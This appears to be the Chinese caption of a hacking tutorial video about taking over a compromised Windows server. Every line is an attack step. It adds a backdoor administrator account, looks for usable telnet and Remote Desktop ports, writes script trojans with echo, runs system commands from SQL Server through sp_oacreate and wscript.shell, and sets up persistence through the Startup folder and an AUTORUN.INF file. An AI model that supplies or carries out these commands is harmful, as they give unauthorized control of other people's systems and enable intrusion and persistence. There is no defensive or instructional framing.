动画介绍:先看下能否执行命令 net localgroup administrators zhizhu /add 看下网络连接 netstat -an 看下有什么能直接利用的 比如3389 23等等 添加个管理员 3389端口就连接 23就telnet
查看服务 net start 如果发现telnet 和 Terminal Services已经开了 而又找不到端口 说明 他用的不是默认端口 用netstat -an查看开放端口后尝试用别的端口连就可以了
开终端 命令开启和工具开启 开23端口(telnet服务)net start telnet telnet连上去
写脚本木马 ftp脚本 vbs脚本 js脚本等等 不能上传文件用echo命令写入脚本
执行数据库命令 declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c 命令’ 在不能执行命令情况下 用数据库命令执行copy a.txt "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\." 可以上传 但一执行程序时就卡死 上传自动播放文件 AUTORUN.INF 。 |